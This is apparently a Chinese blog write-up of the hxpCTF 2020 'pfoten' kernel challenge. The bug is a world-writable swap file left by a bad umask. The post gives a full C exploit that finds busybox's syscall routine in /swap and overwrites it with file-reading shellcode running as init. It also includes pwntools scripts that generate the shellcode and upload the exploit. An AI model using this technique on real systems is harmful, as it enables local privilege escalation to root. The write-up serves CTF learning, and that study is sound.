1. 前言

更新时间 更新内容
2020-12-28 初稿

附件仍然可以从ctftime上下载[1].

一个很有意思的内核题, 赛后跟着2019师傅的wp[2]复现了一遍, 踩了一些坑, 记录一下.

2. 正文

与常见的内核题目不同, 这个题目中没有一些恶意内核模块, 使用的也是标准的linux内核.

问题出在启动文件中:

#!/bin/sh

/bin/busybox --install -s

stty raw -echo

chown -R 0:0 /

mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev  && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp  && mount -t tmpfs tmpfs /tmp

umask 111

dd if=/dev/zero bs=1M count=10 of=/swap status=none
losetup /dev/loop0 /swap
mkswap /dev/loop0 >/dev/null
swapon /dev/loop0 >/dev/null

启动脚本中, 一开始是一些常规初始化操作. 然后进行如下操作:

  1. 使用umask[3]将新建文件时的权限设为rw-rw-rw. (默认的umask值是002, 此时新建文件时权限是rw-rw-r--).
  2. 使用dd新建一个大小为10MB的文件/swap, 用0填充
  3. 使用losetup[4]将/swap这个文件这个一个loop device /dev/loop0关联起来
  4. 使用mkswap[5]在/dev/loop0这个设备中建立swap空间.
  5. 使用swapon启用/dev/loop0这个swap空间.

简单来说, swap空间的目的就是使用硬盘空间来替代内存空间, 当内存空间不足时, 内核会将部分不常用的物理内存挪到swap空间中. 用户可以通过设置swappiness参数来修改替换策略. swappiness默认值是60. 即当物理内存使用达到40%时, 就开始启用swap空间. 有关swap空间的更多信息参考[6].

此时已经可以发现漏洞点了: 因为/swap的权限是rw-rw-rw, 所以我们可以通过修改/swap文件实现对物理内存的修改.

具体思路如下: 因为1号init进程是root权限执行的, 所以如果可以修改这个进程代码段执行shellcode的话, 就可以实现提权拿flag了. 经过对2019师傅wp的参考和多次尝试, 最终选择修改busybox中的syscall函数, 可以比较稳定地触发shellcode. 2019师傅一开始找的是_exit. 但是碰巧syscall正好在_exit后面, 所以发现替换syscall可以稳定触发shellcode. 关于如何定位syscall函数, 可以编译一个带符号的busybox, 然后通过比较来确定.

.text:00000000004D128D loc_4D128D:                             ; CODE XREF: sub_4CE339+2↑j
.text:00000000004D128D                 mov     rax, rdi
.text:00000000004D1290                 mov     rdi, rsi
.text:00000000004D1293                 mov     rsi, rdx
.text:00000000004D1296                 mov     rdx, rcx
.text:00000000004D1299                 mov     r10, r8
.text:00000000004D129C                 mov     r8, r9
.text:00000000004D129F                 mov     r9, [rsp+arg_0]
.text:00000000004D12A4                 syscall                 ; LINUX -
.text:00000000004D12A6                 retn

通过使用syscall附近的代码作为特征去搜索 /swap 文件, 同时不断用mmap来消耗占用内存, 直到发现 syscall函数并将其后代码替换成shellcode.

关于从IDA中复制内存推荐一个工具 LazyIDA[7], 可以一键生成python代码或者c代码, 很方便.

最后exp如下:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PAGE_SIZE 0x80000
#define swap_size 0xa00000

const unsigned char NEEDLE[] = {
    0x48, 0x63, 0xFF, 0xB8, 0xE7, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x00, 0x48, 
    0x89, 0xD0, 0x0F, 0x05, 0xEB, 0xF9, 0x48, 0x89, 0xF8, 0x48, 0x89, 0xF7, 0x48, 0x89, 0xD6, 0x48, 
    0x89, 0xCA, 0x4D, 0x89, 0xC2, 0x4D, 0x89, 0xC8, 0x4C, 0x8B, 0x4C, 0x24, 0x08, 0x0F, 0x05, 0xC3
};


unsigned char swap_buf[swap_size];

void die(char *msg){
    printf("[!] %s\n", msg);
    exit(-1);
}

int match(){
    FILE *fp = fopen("/swap", "r+");
    if (fp == NULL) die("open /swap failed");
    int read_cnt = 0;
    while (1){
        int res = fread(swap_buf, 1, swap_size-read_cnt, fp);
        read_cnt += res;
        if (res == 0) {
            if (read_cnt != swap_size) die("read failed");
            break;
        }
    }
    // 搜索特征字符串
    unsigned char* res = memmem(swap_buf, swap_size, NEEDLE, sizeof(NEEDLE));
    if (res != NULL){
        size_t offset = res - swap_buf;
        if (fseek(fp, offset, SEEK_SET) == -1) die("fseek failed");
        // sc_buf 用来将代码段填充成0xcc, 触发报错. 测试用.
        char sc_buf[0x100];
        memset(sc_buf, 0xcc, sizeof(sc_buf));
        
        unsigned char sc[] = { // needle for padding
            0x48, 0x63, 0xFF, 0xB8, 0xE7, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x00, 0x48, 
            0x89, 0xD0, 0x0F, 0x05, 0xEB, 0xF9, 0x48, 0x89, 0xF8, 0x48, 0x89, 0xF7, 0x48, 0x89, 0xD6, 0x48, 
            0x89, 0xCA, 0x4D, 0x89, 0xC2, 0x4D, 0x89, 0xC8, 0x4C, 0x8B, 0x4C, 0x24, 0x08, 0x0F, 0x05, 0xC3,
// real shellcode
0x6a, 0x1, 0xfe, 0xc, 0x24, 0x48, 0xb8, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x66, 0x64, 0x30, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb6, 0x1, 0xbe, 0x1, 0x1, 0x1, 0x1, 0x81, 0xf6, 0x1, 0x46, 0x71, 0x1, 0xf, 0x5, 0x6a, 0x1, 0x5f, 0x31, 0xd2, 0xb6, 0x1, 0xbe, 0x1, 0x1, 0x1, 0x1, 0x81, 0xf6, 0x1, 0x46, 0x71, 0x1, 0x6a, 0x1, 0x58, 0xf, 0x5
        };
        // 把needle段替换成 nop, 一直滑到orw shellcode
        memset(sc, 0x90, sizeof(NEEDLE));
        if (fwrite(sc, 1, sizeof(sc), fp) != sizeof(sc)) 
            die("fwrite failed");
        fclose(fp); 
        sleep(1);
        printf("found needle at offset : %p\n", offset);
        return 1;
    }
    memset(swap_buf, 0, swap_size);
    fclose(fp);
    return 0;
}

int main(int argc, char *argv[]){
    // consume some ram first
    for(int i=0; i<10; i++){
        void *res = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
        if (res == (void *) -1) die("mmap error");
        memset(res, 0xcc, PAGE_SIZE);
    }

    printf("swap_buf at %p\n", swap_buf);

    // 不停地申请内存, 每次申请都搜索一次swap文件.
    int i = 0;
    while(++i < (320*6)){
        void *res = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
        if (res == (void *) -1) die("mmap error");
        memset(res, 0xcc, PAGE_SIZE);
        if (i%50 == 0) printf("%d\n", i);
        if (match()) break;
    }
    return 0;
}

虽然思路很清晰, 但是写exp的过程中还是踩了很多坑:

  1. PAGE_SIZE的调整, 感觉就是玄学…
  2. printf的位置, 在发现needle和写swap文件之间加了printf就不行. 可能因为printf用了syscall.
  3. 这个exp成功率也不是100%, 差不多30%左右吧..
  4. 直接./run.sh不行; ./ynetd -t 300 -lt 30 -lm -1 /home/ctf/run.sh 行….
  5. 在shell里面执行exit 不会退出, 这个导致一开始想的修改init返回时的代码失败
  6. gdb调试时想断在busybox 的 init_main函数总是断不下来, 导致看不了init进程的栈上的值. 不知道是不是哪儿操作不对…

最后附上一些辅助脚本:

#!python3
"""generate shellcode
不能用execve("/bin/sh"), 因为/bin/sh是一个指向busybox的符号连接
而busybox已经被我们修改了
"""
from pwn import *

context.arch = 'amd64'
scg = shellcraft.amd64.linux
#启动脚本中 -fda flag.txt 参数将 flag.txt作为一个软盘文件导入
sc_asm = scg.open("/dev/fd0", 0)
sc_asm += scg.read("rax", 0x704700, 0x100) # bss of busybox
sc_asm += scg.write(1, 0x704700, 0x100)
sc = asm(sc_asm)
res = "unsigned char sc = {" + ", ".join(map(lambda x:hex(x), unpack_many(sc, 8))) +"}"
print(res)
print(sc_asm)

#!python3
"""上传,编译"""
from pwn import *

def compile_exp(exp_source, exp_dst="./exp"):
    # sudo apt install musl-tools
    cmd = f"musl-gcc -w -s -static {exp_source} -o {exp_dst}"
    print(cmd)
    os.system(cmd)

def exec_cmd(p, cmd):
    p.sendline(cmd)
    p.recvuntil("$ ")

def upload(p, exp_file):
    # os.system("rm ./benc; rm ./bout")
    with open(exp_file, "rb") as f:
        data = f.read()
    encoded = base64.b64encode(data).decode()
    open("./exp_base64", "wb").write(encoded.encode())
    p.recvuntil("$ ")
    for i in range(0, len(encoded), 300):
        print("%d / %d" % (i, len(encoded)))
        exec_cmd(p, "echo -n \"%s\" >> /tmp/benc" % (encoded[i:i+300]))
    exec_cmd(p, "cat /tmp/benc | base64 -d > /tmp/bout")
    exec_cmd(p, "chmod +x /tmp/bout")

addr3 = ("localhost", 1024)
io = remote(*addr3)

compile_exp("./rootfs/my.c", "./rootfs/b")
upload(io, "./rootfs/b")

io.interactive()

对于这种需要静态编译exp并上传的题目推荐使用musl-gcc编译, 可以大幅缩小可执行文件的体积(思路来源[8]):

$ du -h ./a_*
852K    ./a_gcc
28K     ./a_musl

3. 结语

只是因为用umask设置了错误的掩码, 就导致系统被提权. 太神奇了.

本题应该还有一些别的解法. 比如修改init进程的栈构造rop(enlx师傅的做法[9]), 或者改内核啥的.

写这种复杂系统的漏洞利用时思路和写堆利用时的思路还是挺不一样的. 系统太复杂了, 一个不起眼的变化就可能导致exp失败, 比如printf的位置. 写这个exp时一定要构造好思路再小心写, 否则调试时真的是令人绝望…

4. 参考

  1. hxpCTF2020-pfoten – ctftime.org
  2. writeup by 2019
  3. What is umask in Linux? – how to forge
  4. losetup(8) — Linux manual page
  5. mkswap(8) — Linux manual page
  6. about swap space – how to forge
  7. LazyIDA – github
  8. Linux Kernel Pwn 初探 – 先知社区
  9. exp by enlx